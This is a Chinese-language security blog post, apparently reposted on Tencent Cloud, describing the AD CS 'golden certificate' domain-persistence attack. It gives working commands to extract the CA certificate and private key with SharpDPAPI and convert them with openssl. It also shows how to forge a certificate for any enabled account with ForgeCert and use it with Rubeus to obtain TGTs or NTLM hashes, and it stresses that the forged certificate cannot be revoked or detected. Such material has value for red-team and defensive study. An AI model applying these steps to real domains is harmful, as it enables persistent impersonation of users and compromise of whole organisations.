前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >AD CS 域持久性

AD CS 域持久性

作者头像
黑白天安全
发布2021-08-10 15:56:27
1.3K0
发布2021-08-10 15:56:27
举报

漏洞分析

默认情况下, AD 启用基于证书的身份验证。

要使用证书进行身份验证, CA 必须向账号颁发一个包含允许域身份验证的 EKU OID 的证书(例如客户端身份验证)。

当 账号使用证书进行身份验证时, AD 在根 CA 和 NT Auth Certificates 验证证书链对象指定的 CA 证书。

Active Directory 企业 CA 与 AD 的身份验证系统挂钩,CA 根证书私钥用于签署新颁发的证书。如果我们窃取了这个私钥,我们是否能够伪造我们自己的证书,该证书可用于(无需智能卡)作为组织中的任何人向 Active Directory 进行身份验证?

作者命名为黄金证书

漏洞利用

证书存在于 CA 服务器中,如果 TPM/HSM 不用于基于硬件的保护,那么其私钥受机器 DPAPI 保护。如果密钥不受硬件保护,Mimikatz 和 SharpDPAPI 可以从 CA 中提取 CA 证书和私钥:

设置密码就可以直接导出了

我们也可以直接使用工具导出。例如Mimikatz,SharpDPAPI.exe

这里我使用的是SharpDPAPI.exe

代码语言:javascript
复制
https://github.com/GhostPack/SharpDPAPI
SharpDPAPI.exe certificates /machine

使用Open SSL 可以直接输出证书

代码语言:javascript
复制
openssl pkcs12 -in ca.pem -keyex -CSP "Microsoft Enhanced  Cryptographic Provider v1.0" -export -out ca.pfx

对于包含CA证书和私钥的CA.pfx文件,伪造证书的一种方法是将其导入单独的脱机CA,并使用MimiKatz的crypto::scauth函数生成和签名证书。

或者,可以手动生成证书,以确保对每个字段的粒度控制,并消除建立单独系统的需要。

在另一台主机中导入证书

我们可以使用原作者分布的工具一键伪造证书。

代码语言:javascript
复制
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "localadmin@theshire.local" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!"

ForgeCert的原理

代码语言:javascript
复制
https://people.eecs.berkeley.edu/~jonah/bc/org/bouncycastle/x509/X509V3CertificateGenerator.html

伪造证书的过程可以在我们控制的主机中进行伪造。

伪造证书时指定的目标用户需要在 AD 中处于活动状态/启用状态,并且能够进行身份验证,因为身份验证交换仍将作为该用户进行。例如,试图伪造 krbtgt 的证书是行不通的。

这个伪造的证书将有效到指定的结束日期(这里为一年),并且只要根 CA 证书有效(一般来说证书的有效期从 5 年开始,但通常延长到 10 年以上)。这种滥用也不限于普通用户帐户也适用于机器帐户。

生成的证书可以与Rubeus一起使用来请求 TGT(和/或检索用户的 NTLM;)

由于我们没有经过正常的签发流程,这个伪造的证书是不能撤销的。在ADCS中也没办法发现这个伪造的证书。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-08-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞分析
  • 漏洞利用
相关产品与服务
访问管理
访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档